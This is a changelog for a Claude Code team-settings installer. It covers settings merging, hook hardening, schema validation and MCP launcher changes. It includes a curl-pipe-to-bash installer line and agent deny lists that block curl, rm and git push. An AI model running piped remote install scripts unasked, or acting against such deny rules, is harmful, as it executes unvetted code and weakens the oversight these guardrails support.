The setup.sh bootstrap still auto-installs Bun via curl -fsSL https://bun.sh/install | bash for users with curl access. Corporate sandboxes that block curl-installs need a manual Bun install first.

Future-leaning: if a Node fallback is ever needed, the right path is a src/lib/runtime.ts abstraction layer that wraps Bun.spawn/Bun.which/etc. with Node-compatible fallbacks, then a pre-built dist/ shipped with the repo. That's a P3+ project, tracked separately if/when a use case emerges.

Files changed:

  • MANUAL.md — explicit "Requires Bun ≥ 1.1.30" callout in the Quickstart.
  • src/setup.ts — VERSION 10.10.0 → 10.10.1.

[10.10.0] — 2026-05-04

test: E2E install + golden migration fixtures

Two new test layers cover ground that unit tests couldn't:

Golden migration fixtures (tests/fixtures/migrations/<scenario>/). Each scenario ships three files: team-settings.json (what cc-settings ships), user-settings.json (what the user has), expected.json (post-merge state). The runner deep-equals merger output against expected, with a sandboxed copy so fixtures stay immutable. Three scenarios committed:

ScenarioWhat it locks in
pre-v10-bash-hooksv10.3.2 hook prune: stale bash $HOME/.claude/scripts/*.sh references in user settings get dropped, team's bun .../src/scripts/*.ts survives
pre-v10-bash-statuslinev10.4.1 statusLine reset: stale bash $HOME/.claude/scripts/statusline.sh gets replaced with team's bun .../src/hooks/statusline.ts
user-customizations-preservedCustom env vars + custom permission rules + custom Notification hook all survive a merge that simultaneously prunes a stale Stop hook

These exercise the same ground as the unit tests (tests/phase3-libs.test.ts) but as snapshots — a refactor that accidentally drops a key or reorders output now fails with a deep-diff, not a missing assertion.

E2E install test (tests/install-e2e.test.ts). Spawns bun src/setup.ts --source=<repo> with HOME pointed at a fresh tmpdir + CC_SKIP_DEPS=1. Asserts the resulting ~/.claude/ tree shape: every managed directory exists, settings.json is valid JSON with the expected $schema and statusLine.command, the version sentinel was written, the first-install delta line printed. Three tests:

TestCoverage
First install on fresh HOMEfull install path: backup → directories → cleanOldConfig → installConfigFiles → installTsSources → settings merge → sentinel → summary
Second install (re-run)re-install path with existing sentinel; summary still prints
--migrate-only flagmerger + sentinel only; CLAUDE.md should NOT be copied

CC_SKIP_DEPS=1 env var. New escape hatch in installDependencies. Prevents the installer from running npm i -g pinchtab, pipx install llm-tldr, etc. — those write outside HOME and would pollute the dev/CI environment. Used by the E2E test; users won't typically need it.

Files changed:

  • tests/fixtures/migrations/{pre-v10-bash-hooks,pre-v10-bash-statusline,user-customizations-preserved}/{team,user,expected}-settings.json — 9 fixture files.
  • tests/golden-migrations.test.ts — fixture runner (4 tests).
  • tests/install-e2e.test.ts — E2E install runner (3 tests).
  • src/setup.ts — CC_SKIP_DEPS guard in installDependencies.
  • src/setup.ts — VERSION 10.9.0 → 10.10.0.

[10.9.0] — 2026-05-04

refactor: strategy-based merge tree (internal-only)

Replaced the hand-coded mergeSettingsWithMcpPreservation with a strategy table. Each top-level field in settings.json registers a Strategy function in STRATEGIES; the orchestrator walks every key in (team ∪ user), picks the strategy (defaulting to user-wins-scalar), and assembles the result. Adding a new field-specific behavior is now one registry entry instead of a new helper + a new branch in the main function + a new accounting field — see for example the v10.4.1 statusLine fix, which previously required wedging a post-merge step into the orchestrator.

Behavior preserved end-to-end — all 236 existing tests pass without modification:

  • permissions: deep object with array unions + scalar conflicts (deny is always additive)
  • hooks: per-event group union with deprecated-script prune
  • env: shallow merge, user wins on conflict
  • statusLine: user wins, except when command targets a removed cc-settings script
  • mcpServers: interactive preservation prompt (still handled before the per-key loop because the prompt is shared across the whole merge, not scoped to one strategy)
  • unknown keys: fall through to user-wins-scalar (with prompts in interactive mode)

New regression test locks in the fallback for unknown top-level keys — a future Claude Code key cc-settings doesn't know about will round-trip through the merger without being dropped.

Internal data layout:

interface StrategyContext {
  opts: MergeOptions;
  accounting: MergeAccounting;  // strategies write counts here; orchestrator reads at the end
}

type StrategyResult = { keep: false } | { keep: true; value: unknown };
type Strategy = (team: unknown, user: unknown, ctx: StrategyContext) => Promise<StrategyResult>;

const STRATEGIES: Record<string, Strategy> = {
  permissions: permissionsStrategy,
  hooks: hooksStrategy,
  env: envStrategy,
  statusLine: statusLineStrategy,
};

mcpServers is still handled outside the table because its preservation prompt fires once for the whole merge, not per-key.

Files changed:

  • src/lib/mcp.ts — strategy interface + 4 strategy functions + userWinsScalarStrategy fallback + new orchestrator. Net: replaces ~250 LOC of hand-coded helpers + special-cases with ~330 LOC of structured strategies. Slightly longer but every field's logic is in one place and the orchestrator is a single loop.
  • tests/phase3-libs.test.ts — added regression test for unknown-key fallback.
  • src/setup.ts — VERSION 10.8.0 → 10.9.0.

[10.8.0] — 2026-05-04

feat: --migrate-only flag

Re-running bash setup.sh does the full install: dependency check, file copy, MANAGED_SKILLS refresh, settings merger. For users who hit a deprecation message ("Reset stale statusLine command…", "Pruned N stale hook reference(s)…") and want to clean up their settings without the rest, that's overkill.

--migrate-only runs just the merger + version sentinel + version delta + prereq check. Skipped:

  • installDependencies (bun, jq, pinchtab, tldr — assumed present)
  • cleanOldConfig (no need to wipe managed content)
  • installConfigFiles (no skill / agent / docs refresh)
  • installTsSources (no src/ recopy)
  • showSummary (the visual recap is meant for full installs)

Backup still runs. createDirectories still runs (idempotent — ensures ~/.claude/ shape exists for the merger).

bash setup.sh --migrate-only

Files changed:

  • src/setup.ts — Args.migrateOnly, parseArgs exports + handles --migrate-only, main() branches on it.
  • tests/setup-args.test.ts — new file. 10 parser tests covering every flag (--rollback, --rollback=<ts>, --dry-run, --status, --interactive, --migrate-only, --source=<path>, --help/-h, multi-flag composition, defaults).
  • MANUAL.md — Quickstart mentions --migrate-only.
  • src/setup.ts — VERSION 10.7.1 → 10.8.0.

[10.7.1] — 2026-05-04

fix: composeSettings asserts unique numeric prefixes

composeSettings previously sorted config/*.json fragments alphabetically. With 4 fragments today (10-core, 20-mcp, 30-permissions, 40-hooks) that worked, but it would silently miscompose if someone added 010-foo.json (which alphabetizes before 10-core.json) or 100-extra.json (which alphabetizes between 10- and 20-). Both edge cases produced ambiguous merge order with no error.

The composer now:

  1. Sorts by numeric prefix value — 10-* comes before 100-* (was reversed under alpha sort).
  2. Rejects fragments without a numeric prefix — extra.json throws at install with a clear message.
  3. Rejects collisions on numeric value — 10-foo.json and 010-bar.json (both 10) both throw, naming the conflict.

The naming contract <digits>-<name>.json is now formally enforced.

Files changed:

  • src/lib/compose-settings.ts — prefix extraction + uniqueness check + numeric sort.
  • tests/compose-settings.test.ts — 11 tests: repo dogfood, naming contract failures, ordering correctness, content errors, empty/missing dir.
  • src/setup.ts — VERSION 10.7.0 → 10.7.1.

[10.7.0] — 2026-05-04

feat: agent + skill frontmatter validation at install

Typos like effort: xtreme or permissionMode: planning used to silently degrade agents — the field would be ignored and the agent would run with defaults. The installer now parses every agents/*.md and skills/*/SKILL.md frontmatter against a zod schema and warns about issues before shipping the file to ~/.claude/.

New schema — src/schemas/agent.ts:

FieldTypeNotes
namekebab-case stringrequired
descriptionnon-empty stringrequired
modelopus / sonnet / haiku / pinned variantaccepts opus[1m]-style strings
effortlow / medium / high / xhigh / maxstrict — typos rejected
permissionModedefault / acceptEdits / plan / auto / dontAsk / bypassPermissionsmirrors upstream manifest
isolationworktreestrict
memoryprojectstrict
tools, disallowedToolsstring arrayspassthrough
maxTurnspositive integer
color, initialPrompt, hooks, mcpServersaccepted, lightly typed

The schema is .passthrough() on unknown fields — agent ecosystem is fast-moving and we'd rather accept than reject. Strict enums on the well-known fields are where the value is.

New validator — src/lib/frontmatter-validate.ts:

Walks agents/*.md and skills/*/SKILL.md, parses each frontmatter, validates against the corresponding schema, returns the combined issue list. Wired into setup.ts's install flow — non-fatal warning so a single bad agent doesn't block install of the rest.

JSON schema published — schemas/agent.schema.json joins the others at raw.githubusercontent.com/darkroomengineering/cc-settings/main/schemas/. IDEs that point at it get autocomplete on effort, permissionMode, etc. when authoring agents.

Files changed:

  • src/schemas/agent.ts — new zod schema.
  • src/schemas/emit.ts — added agent.schema.json target.
  • src/lib/frontmatter-validate.ts — install-time validator.
  • src/setup.ts — calls validator before install, warns via warn() if any issues.
  • tests/agent-schema.test.ts — 16 tests: schema unit tests, repo dogfood (all 10 agents + 42 skills validate today), synthetic failure cases (effort typo, permissionMode typo, kebab violation, missing delimiters, empty dirs).
  • schemas/agent.schema.json — emitted.
  • src/setup.ts — VERSION 10.6.1 → 10.7.0.

[10.6.1] — 2026-05-04

fix: hook fail-open audit — wrap 7 unhardened scripts

A hook crash is supposed to be invisible to the parent operation. Audit revealed 7 of 25 hook scripts could throw uncaught (rest already had try { or .catch():

ScriptHook eventWhat could throw
notify.tsNotificationawait notifyWindows() if PowerShell crashed
cwd-changed.tsCwdChangedprojectAwareness() (git read failure, missing files)
session-title.tsUserPromptSubmitmkdir/writeFile on permissions or disk full
check-docs-before-install.tsPreToolUse:Bashregex/string ops (defensive — low actual risk)
post-edit-tsc.tsPostToolUseBun.spawn if bunx missing
pre-commit-tsc.tsPreToolUse:Bash (git commit)spawn / Promise.all crash
stop-summary.tsStopgit diff --stat outside a repo or git missing

Each now wraps its body in try { … } catch { /* silent */ }, matching the pattern already used by safety-net.ts (the highest-criticality hook).

pre-commit-tsc.ts keeps its blocking semantics: genuine error TS<N> from tsc still exits 1 to block the commit. Only infrastructure crashes (bunx missing, spawn failure) fail open. The commit guard rail is preserved.

Skipped:

  • swarm-log.ts already uses .catch(() => {}) on every IO call — defensive enough.
  • claude-audit.ts is a manual CLI invoked by /audit, not a hook; errors there should be visible to the user.

Regression test: tests/hook-fail-open.test.ts walks every TS script wired in config/40-hooks.json and asserts each contains either try { or .catch(. Future hooks can't ship without fail-open handling.

Files changed:

  • src/scripts/{notify,cwd-changed,session-title,check-docs-before-install,post-edit-tsc,pre-commit-tsc,stop-summary}.ts — wrapped in try/catch.
  • tests/hook-fail-open.test.ts — new regression test.
  • src/setup.ts — VERSION 10.6.0 → 10.6.1.

[10.6.0] — 2026-05-04

feat: skills declare requires: (CLI / MCP); installer warns about missing prereqs

Skills with external dependencies now declare them in their frontmatter:

---
name: lighthouse
description: …
requires:
  - command: lighthouse
    install: "npm i -g lighthouse"
---

The installer walks every skill at the end of setup.sh, evaluates each requires: against the user's environment (CLIs via Bun.which, MCP servers via the union of ~/.claude/settings.json and ~/.claude.json), and prints a single warning block listing any missing prereqs. Non-fatal — the skill still runs; users just know in advance which ones will fail until they install the prereq.

Annotated this release:

SkillRequires
/lighthouselighthouse CLI
/figmapinchtab CLI + figma MCP
/qapinchtab CLI
/debugpinchtab CLI
/tldrtldr MCP (pipx install llm-tldr)
/docscontext7 MCP (ships by default)

Schema change: src/schemas/skill.ts now exports SkillRequirement (discriminated union of { command } or { mcp }, both with optional install hint). SkillFrontmatter.requires is optional; existing skills without it continue to work unchanged. Each entry must declare exactly one of command or mcp.

Files changed:

  • src/schemas/skill.ts — new SkillRequirement schema; requires field added to SkillFrontmatter.
  • src/lib/skill-prereqs.ts — new helper: parse skills, read MCP servers from settings.json + ~/.claude.json, evaluate requires, format warning block.
  • src/setup.ts — calls reportMissingPrereqs after showSummary, warns via warn() if any prereq is missing.
  • tests/skill-prereqs.test.ts — 20 tests: schema validation, MCP server reading (with malformed-JSON tolerance), CLI/MCP requirement checks, end-to-end report aggregation, formatter cases.
  • skills/{lighthouse,figma,qa,debug,tldr,docs}/SKILL.md — annotated with requires:.
  • schemas/skill.schema.json — regenerated (now describes SkillRequirement).
  • src/setup.ts — VERSION 10.5.2 → 10.6.0.

[10.5.2] — 2026-05-04

feat: install-summary version delta

Re-running bash setup.sh now ends with a one-block summary of what landed since the previous install:

cc-settings: v10.4.1 → v10.5.2 (3 version(s) since last install)
  • v10.5.2: install-summary version delta
  • v10.5.1: docs: MANUAL.md Day-1 Quickstart
  • v10.5.0: IDE IntelliSense — published JSON schemas at GitHub raw

Reads the version sentinel (~/.claude/.cc-settings-version) BEFORE the install overwrites it, parses ## [X.Y.Z] — DATE + ### <title> headings out of CHANGELOG.md, and renders the delta. First installs print cc-settings: first install at v<X>. Re-installs of the same version print nothing. Downgrades (rollback scenarios) are flagged.

The merger's existing migration messages (hook prune, statusLine reset) still print separately — those tell you what the merger did, while the delta tells you which versions you got.

Files changed:

  • src/lib/version-delta.ts — new helper. Pure parsing/formatting + sentinel read.
  • src/setup.ts — captures prevInstalledVersion before writeVersionSentinel, prints delta after showSummary.
  • tests/version-delta.test.ts — 23 tests covering compareVersion, sentinel parsing, CHANGELOG parsing, between-filtering, format cases (first install / same / downgrade / forward / missing CHANGELOG), and a roundtrip against the repo's real CHANGELOG.
  • src/setup.ts — VERSION 10.5.1 → 10.5.2.

[10.5.1] — 2026-05-04

docs: MANUAL.md Day-1 Quickstart

Replaced the install-only "Quick Start" header with a true Day-1 Quickstart: install → /init (asks satus vs novus) → "describe what you want" golden-path table → "ask Claude what skill handles X" escape hatch. Closes the orientation gap a fresh joiner felt — they now have a 5-minute path from install to productive work without scrolling the 500-line reference.

The "Daily Workflows" section still exists as the next layer of depth. Existing skill / agent / hook tables unchanged.

Files changed:

  • MANUAL.md — replaced lines 6-23 with a 5-step Quickstart.
  • src/setup.ts — VERSION 10.5.0 → 10.5.1.

[10.5.0] — 2026-05-04

IDE IntelliSense — published JSON schemas at GitHub raw

The schemas/*.schema.json files (already generated from src/schemas/*.ts via bun run schemas:emit) now carry real $id URLs at raw.githubusercontent.com/darkroomengineering/cc-settings/main/schemas/. VSCode, Cursor, JetBrains, and any JSON-Schema-aware editor will autocomplete every cc-settings field, validate values, and surface inline docs.

The composed team settings.json (via config/10-core.json) now references our schema instead of json.schemastore.org/claude-code-settings.json. Users who author ~/.claude/settings.json by hand can add "$schema": "..." at the top to opt in.

Files changed:

  • src/schemas/emit.ts — $id URLs now point at GitHub raw on main; placeholder cc-settings.darkroom/schema/... URLs replaced.
  • schemas/{settings,hooks-config,skill,claude-json}.schema.json — regenerated.
  • config/10-core.json — $schema points at our published schema.
  • package.json — new schemas:check script (regen + assert no diff; CI guard against zod-source changes that forget to re-emit).
  • tests/schemas.test.ts — coverage for $id URLs, title metadata, config $schema reference, roundtrip composed-settings validation.
  • docs/settings-reference.md — "IDE IntelliSense" section explains the published URLs.
  • src/setup.ts — VERSION 10.4.1 → 10.5.0.

[10.4.1] — 2026-05-04

Fix: statusline missing for pre-v10 upgraders

Some users were seeing no statusline at all after upgrading. Root cause: pre-v10 cc-settings shipped statusLine as bash "$HOME/.claude/scripts/statusline.sh". The bash → TS migration in v10.0.0 deleted that directory and rewrote the team value to bun "$HOME/.claude/src/hooks/statusline.ts" — but the merger does { ...teamRaw, ...userRaw } for top-level objects, so any user with the old value carried it forward. Claude Code tries to spawn the missing script, gets a non-zero exit, and renders no bar.

The hooks-array prune from v10.3.2 didn't cover this case because statusLine is a single top-level object, not an array entry.

Fix: the merger now also detects when userRaw.statusLine.command matches DEPRECATED_COMMAND_PATTERNS and resets to the team value. Custom user statuslines pointing at non-deprecated paths (e.g. their own script) are left alone.

Existing affected users: re-run bash setup.sh. The summary line Reset stale statusLine command… confirms cleanup.

The DEPRECATED_HOOK_COMMAND_PATTERNS constant from v10.3.2 was renamed to DEPRECATED_COMMAND_PATTERNS since it now applies to both hook entries and the top-level statusLine.

Files changed:

  • src/setup.ts — VERSION 10.4.0 → 10.4.1.
  • src/lib/mcp.ts — generalize the deprecation registry; reset stale statusLine post-merge.
  • tests/phase3-libs.test.ts — coverage for stale-statusLine reset + non-deprecated-statusLine preservation.

[10.4.0] — 2026-05-04

Stack-aware ergonomics — Next.js (satus) + React Router (novus)

Darkroom is splitting between two starters — satus (Next.js) and novus (React Router 7) — and cc-settings now mirrors that. Rules describe stack-agnostic principles followed by clearly-labeled Next.js + React Router subsections. Scaffolding skills detect the project's stack from package.json and emit the right shape.

New:

  • profiles/react-router.md — full RR7 profile mirroring profiles/nextjs.md: route module exports, loaders, actions, defer(), novus-specific path alias / asset pipeline notes.
  • src/lib/stack.ts — detector returning { kind, starter, alsoDetected, evidence, cwd }. Detects nextjs, react-router, vite-react, react-native, tauri, unknown. Reads package.json deps + config files + folder shape (in that order). Recognizes satus and novus starters from name lineage or explicit darkroom.starter marker.
  • tests/stack.test.ts — 23 tests covering each detection path, multi-stack projects, starter detection, malformed input.

Refactored rules:

  • rules/web-vitals.md, rules/react-perf.md, rules/performance.md, rules/react.md rewritten to lead with stack-agnostic principles + Next.js/RR subsections. The model picks the right pattern from visible imports — no detector layer in rules.

Refactored scaffolding skills (read package.json, branch on stack):

  • /component — paths, image/link wrappers, 'use client' directive, path alias all branch.
  • /hook — lib/hooks/ (satus) vs hooks/ (novus); directive presence; browser-API guards.
  • /init — picks satus or novus, asks if user is unsure.
  • /build — research gate detects stack; primitives table covers both.
  • /lenis — mount point differs (app/layout.tsx vs app/root.tsx).

Refactored agents:

  • agents/scaffolder.md — templates per stack for component/hook/page/server-endpoint. RR resource routes + actions added.
  • agents/reviewer.md — checklist now stack-aware (RR component is isomorphic; satus uses 'use client' boundary).

Statusline fix:

  • Effort+thinking marker ⚙xhigh† was reading as xhight† in monospace terminal fonts where the dagger glyph has a t-like ascender. Replaced † → + (⚙xhigh+ is unambiguous in any font). src/hooks/statusline.ts:114.

Docs:

  • MANUAL.md adds the react-router profile row and a "Stack-aware skills" section pointing at the detector.

Files changed:

  • src/setup.ts — VERSION 10.3.2 → 10.4.0.
  • src/lib/stack.ts — new detector.
  • src/hooks/statusline.ts — dagger → plus.
  • tests/stack.test.ts — new test file (23 tests).
  • profiles/react-router.md — new profile.
  • rules/web-vitals.md, rules/react-perf.md, rules/performance.md, rules/react.md — stack-aware rewrite.
  • skills/component/SKILL.md, skills/hook/SKILL.md, skills/init/SKILL.md, skills/build/SKILL.md, skills/lenis/SKILL.md — stack detection + dual templates.
  • skills/docs/SKILL.md, skills/lighthouse/SKILL.md, skills/prd/SKILL.md — minor stack-aware references.
  • agents/scaffolder.md, agents/reviewer.md — stack-aware checklists/templates.
  • MANUAL.md — react-router profile row + stack-aware skills section.

Why minor (10.4.0) not patch: new feature surface (RR profile, stack detector, dual templates) + behavior change in scaffolding skills. No breaking changes — projects with no detectable stack get the same default behavior as before (satus assumptions).

[10.3.2] — 2026-05-04

Fix: prune stale hook references to removed ~/.claude/scripts/*.sh

Re-run bash setup.sh if you're seeing bash: ~/.claude/scripts/<name>.sh: No such file or directory on every session — the merger now scrubs those leftover refs from your settings.json. The summary line Pruned N stale hook reference(s)… confirms cleanup.

The bash → TypeScript migration in v10.0.0 deleted ~/.claude/scripts/, but the per-event hook union in mergeHooks preserved any user-side reference that didn't byte-match a current team entry. New DEPRECATED_HOOK_COMMAND_PATTERNS in src/lib/mcp.ts is the registry for future removals — see the comment block above the constant.

User memory is never touched by install: ~/.claude/memory/, ~/.claude/memory/agents/, and per-project ~/.claude/projects/<slug>/memory/ are only mkdir-ensured. autoMemoryDirectory survives the merger's user-wins scalar pass.

v2.1.126 Sync — Manifest-only bump

v2.1.124–2.1.126 were patch fixes only. No new schema keys, hooks, env vars, or frontmatter — nothing to absorb.

Notable upstream fixes that benefit cc-settings automatically:

  • Deferred tools (WebSearch, WebFetch, …) now reach context: fork skills on first turn (18+ cc-settings skills).
  • Stream idle timeout no longer aborts on Mac sleep / long Opus thinking pauses.
  • OAuth login handles IPv6 devcontainers, slow connections, and manual code paste.
  • Ctrl+L redraws instead of clearing the prompt.

Files changed:

  • src/setup.ts — VERSION 10.3.1 → 10.3.2.
  • src/lib/mcp.ts — DEPRECATED_HOOK_COMMAND_PATTERNS + prune logic in mergeHooks.
  • tests/phase3-libs.test.ts — stale-hook prune coverage.
  • upstream/claude-code-manifest.json — 2.1.123 → 2.1.126.

[10.3.1] — 2026-04-30

v2.1.123 Sync — Adopt ANTHROPIC_BEDROCK_SERVICE_TIER, spinnerTipsOverride

Reviewed cc-settings against Claude Code changelog v2.1.121 → v2.1.123. Quiet cycle: v2.1.123 was fix-only, and v2.1.122 was mostly bug fixes plus two additive surface changes. No native overlap to remove.

Adopted:

  • ANTHROPIC_BEDROCK_SERVICE_TIER env var (v2.1.122) — accepts default, flex, or priority; sent as the X-Amzn-Bedrock-Service-Tier header so Bedrock callers can pick a service tier without a custom proxy. Added to upstream/claude-code-manifest.json knownEnvVars and the env-var table in docs/settings-reference.md.
  • spinnerTipsOverride setting (v2.1.122) — upstream fixed spinnerTipsOverride.excludeDefault not suppressing time-based spinner tips, which means the key is real and our .strict() schema would reject it. Added SpinnerTipsOverride (passthrough, only excludeDefault: boolean documented upstream) to src/schemas/settings.ts, and a section to docs/settings-reference.md. Added to manifest knownSettingsKeys.
  • Manifest bump — upstream/claude-code-manifest.json: 2.1.121 → 2.1.123, refreshed lastScan to 2026-04-30.

Files changed:

  • src/setup.ts — VERSION 10.3.0 → 10.3.1.
  • src/schemas/settings.ts — SpinnerTipsOverride schema + spinnerTipsOverride field.
  • upstream/claude-code-manifest.json — version bump, ANTHROPIC_BEDROCK_SERVICE_TIER, spinnerTipsOverride keys.
  • docs/settings-reference.md — env-var table row + spinnerTipsOverride section.

Native-now-redundant: none this cycle.

Skipped (bug fixes, no surface change): OAuth 401 retry loop with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1, /branch rewound-timeline forks, /model Effort for Bedrock ARNs, Vertex/Bedrock structured-output output_config errors, Vertex count_tokens proxy 400s, ToolSearch missing late-attached MCP tools in nonblocking mode, !exit/!quit exiting CLI from bash mode, image resize 2576px → 2000px, remote-control idle redraw flooding tmux -CC, stale view preference blanking messages, malformed hooks no longer invalidating settings.json, OTel numeric attribute serialization, OTel claude_code.at_mention log event, Caps Lock voice keybinding error, /resume PR-URL paste, /mcp clarifications.

[10.3.0] — 2026-04-28

v2.1.121 Sync — Adopt alwaysLoad, mcp_tool hooks, statusline effort, agent permissionMode

Reviewed cc-settings against Claude Code changelog v2.1.115 → v2.1.121. No native overlap to remove this cycle (the v10.1.0 sweep already cleared the big duplications). Adopted seven new upstream features.

Adopted:

  • MCP alwaysLoad: true (v2.1.121) — config/20-mcp.json opts context7 out of ENABLE_TOOL_SEARCH deferral. Docs lookup is hot-path; the deferral round-trip was paid on every /docs-style prompt. Schema: src/schemas/mcp.ts shared mcpCommon block on both McpStdioServer and McpHttpServer.
  • type: "mcp_tool" hooks (v2.1.118) — added McpToolHook to the Hook discriminated union in src/schemas/hooks.ts (fields: server, tool, optional input with ${path} substitution). Settings validation now accepts the new hook type without complaint when users wire it up.
  • prUrlTemplate setting (v2.1.119) — added to Settings schema; documented in docs/settings-reference.md. Lets teams point the footer PR badge at internal review tools instead of github.com.
  • Statusline effort + thinking display (v2.1.119) — src/hooks/statusline.ts now reads effort.level and thinking.enabled from stdin and renders them as a dimmed marker on the model name (Opus 4.7 ⚙xhigh†). The † indicates thinking enabled.
  • Agent permissionMode: plan (v2.1.119) — added to all four read-only agents (explore, oracle, reviewer, security-reviewer). When the user runs claude --agent reviewer or similar, Claude Code now honors this mode automatically.
  • New env vars in manifest + docs — CLAUDE_CODE_HIDE_CWD (v2.1.119), DISABLE_UPDATES (v2.1.118), CLAUDE_CODE_FORK_SUBAGENT (v2.1.117/121), AI_AGENT (v2.1.120), CLAUDE_EFFORT (v2.1.120, skill-only), OTEL_LOG_USER_PROMPTS (v2.1.121).
  • Manifest bump — upstream/claude-code-manifest.json: 2.1.114 → 2.1.121, added prUrlTemplate to knownSettingsKeys, mcp_tool to knownHookTypes, refreshed lastScan.

Files changed:

  • src/setup.ts — VERSION 10.2.1 → 10.3.0.
  • upstream/claude-code-manifest.json — version bump + key additions above.
  • src/schemas/settings.ts — prUrlTemplate field.
  • src/schemas/hooks.ts — McpToolHook + 5-arm discriminated union.
  • src/schemas/mcp.ts — shared mcpCommon block adds alwaysLoad.
  • config/20-mcp.json — context7.alwaysLoad = true.
  • src/hooks/statusline.ts — effort/thinking marker on model name.
  • agents/{explore,oracle,reviewer,security-reviewer}.md — permissionMode: plan.
  • CLAUDE-FULL.md — agent frontmatter table (added permissionMode, mcpServers rows).
  • docs/settings-reference.md — env-var table, prUrlTemplate, MCP fields table, context7 example.

Native-now-redundant: none this cycle. Closest call was ENABLE_TOOL_SEARCH=auto:50 vs per-server alwaysLoad, but the env var still controls the global default — they're complementary, not redundant.

[10.2.1] — 2026-04-24

Fix: stdio MCP servers launch via bunx instead of npx

context7 and chrome-devtools failed to start from any project whose root package.json combined Bun's catalog: protocol with overrides (npm aborts with EOVERRIDE: Override for elysia@catalog: conflicts with direct dependency). Because npx resolves from the current working directory, the failure surfaced whenever Claude Code was launched inside such a monorepo — /mcp reported Failed to reconnect to context7 / chrome-devtools even though auth and network were fine.

Swapped "command": "npx" → "command": "bunx" for all stdio servers. Bun understands catalog: natively, and cc-settings already mandates bun >=1.1.30 (see package.json engines), so the dependency is guaranteed.

Changes:

  • config/20-mcp.json — context7, chrome-devtools now launch via bunx.
  • mcp-configs/recommended.json — context7, chrome-devtools (installed) and github, memory (optional) updated for consistency.
  • mcp-configs/README.md — examples updated, added a note explaining the bunx choice.
  • docs/settings-reference.md — context7 example updated with a monorepo note.

Existing installs: re-running setup.sh does not overwrite MCP servers already in ~/.claude.json (user entries shadow the team baseline — see src/lib/mcp.ts:481). To migrate an existing install:

claude mcp remove context7 -s user
claude mcp remove chrome-devtools -s user
bash ~/Developer/@darkroom/cc-settings/setup.sh

[10.2.0] — 2026-04-22

Non-destructive settings.json merge + --interactive installer

Re-running the installer no longer overwrites hand-edits to ~/.claude/settings.json. Root cause was { ...teamRaw, mcpServers: ... } in mergeSettingsWithMcpPreservation wholesale-replacing every top-level key; only mcpServers had preservation logic. Users reported losing hand-added Bash permissions (the trigger for this work).

New merge policy (non-interactive, default):

  • permissions.{allow,deny,ask,additionalDirectories} → union; team baseline stays as the floor, user additions preserved. deny is always additive (safety guardrail).
  • permissions.defaultMode / autoMode → user wins when declared.
  • hooks → per-event union of groups, dedupe by structural equality.
  • env → shallow merge, user values win on conflict (local overrides like ENABLE_PROMPT_CACHING_1H stick).
  • Top-level scalars (model, statusLine, theme, …) → user wins when declared.
  • mcpServers → unchanged (interactive prompt).

Installer logs a one-line summary of preserved customizations, e.g. ✓ Preserved user customization: 3 permission rule(s), 1 env override(s).

New --interactive flag:

bash setup.sh --interactive (or CC_INTERACTIVE=1) prompts on each real conflict point:

  • Scalar conflicts (top-level, permissions.defaultMode/autoMode, env.*) → "keep your value / take team's".
  • Team additions to permissions.allow / ask / additionalDirectories and new hook groups → "adopt / skip".
  • permissions.deny additions and user-only entries never prompt.

Defaults on every prompt reproduce the non-interactive output, so --interactive is a safe way to audit the merge before committing.

Changes:

  • src/lib/mcp.ts — rewrote mergeSettingsWithMcpPreservation; added MergeOptions, field-aware merge helpers (unionPermissionArray, mergePermissions, mergeHooks, mergeEnv, resolveTopLevelScalars, resolveScalarConflict).
  • src/setup.ts — added --interactive flag (and CC_INTERACTIVE=1 env); threaded through to installSettings.
  • setup.sh / setup.ps1 — documented --interactive in flag headers (bootstrap already forwards all args).
  • tests/phase3-libs.test.ts — 7 new tests: permission union, team-deny re-appearance, hook union, env user-wins, top-level scalar user-wins, interactive-with-defaults parity, interactive-deny-always-applies.
  • README.md / MANUAL.md — install sections mention non-destructive behavior + --interactive.
  • docs/settings-reference.md — new "Re-install Merge Behavior" section documenting both modes.

[10.1.0] — 2026-04-21

v2.1.116 Sync — Duplication Cleanup + New Feature Adoption

Reviewed cc-settings against Claude Code changelog v2.1.0 → v2.1.116 (2026-04-21). Removed duplication with native features, adopted new capabilities.

Deletions (~550 lines removed):

  • src/hooks/skill-activation.ts (107 lines) — Native Skill tool (v2.1.108) auto-matches skills from description frontmatter. Custom pattern-matching hook no longer needed.
  • src/scripts/compile-skills.ts (144 lines) — Only consumed by deleted skill-activation.ts. Along with the ~/.claude/skill-index.compiled side-file.
  • src/lib/skill-patterns.ts (hot-path Record lookup) — Only used by deleted scripts. Also removed its test block in tests/phase3-libs.test.ts and export from src/lib/index.ts.
  • src/scripts/detect-correction.ts — 10-line trigger-word regex over UserPromptSubmit. Low signal; users can invoke /learn themselves.
  • skills/versions/ — Subset of /docs + the existing check-docs-before-install.ts PreToolUse hook. MANAGED_SKILLS keeps versions for one release to clean up stale installs.
  • compile-skills invocation in src/scripts/session-start.ts and compileSkillIndex() in src/setup.ts — dead after the above.

Adopted (new Claude Code features):

  • Session auto-titling via hookSpecificOutput.sessionTitle (v2.1.94) — new src/scripts/session-title.ts UserPromptSubmit hook derives 3-5 word kebab-case title from the first prompt. Makes claude --resume <name> usable (v2.1.101).
  • Agent disallowedTools frontmatter (v2.1.84) — added permission-rule-syntax blocklists to every agent:
    • Read-only agents (explore, oracle, reviewer, security-reviewer): block Bash(git commit:*), Bash(git push:*), Bash(rm:*), Bash(gh pr:*) (plus Bash(curl:*) for security-reviewer).
    • Writing agents (implementer, scaffolder, tester, deslopper, maestro): block Bash(git push:*), Bash(rm:*) — git push and file deletion must be user-initiated.
  • Agent maxTurns frontmatter (v2.1.84) — explore: 30, oracle: 25, reviewer: 30, security-reviewer: 30. Caps read-only agents from runaway loops.
  • sandbox block in settings.json (v2.1.113) — failIfUnavailable: false by default; docs explain how to flip on once sandbox availability is confirmed per platform.
  • CLAUDE_CODE_SCRIPT_CAPS=500 (v2.1.98) — bounds per-session hook-script invocations. Cheap insurance given ~14 configured hooks.

Documentation swept:

  • CLAUDE-FULL.md — new sections for session auto-titling and agent frontmatter table.
  • docs/hooks-reference.md — UserPromptSubmit table reflects session-title.ts only; removed stale skill-activation.out log reference and its debug snippet.
  • docs/settings-reference.md — added CLAUDE_CODE_SCRIPT_CAPS, ENABLE_PROMPT_CACHING_1H, CLAUDE_CODE_NO_FLICKER env vars; expanded sandbox field reference.
  • docs/migration-coexistence.md — Phase 4 note updated to reflect later deletion of skill-activation / compile-skills.
  • MANUAL.md — merged the /versions entry into the /docs section.
  • skills/README.md — removed versions row from Tools table.
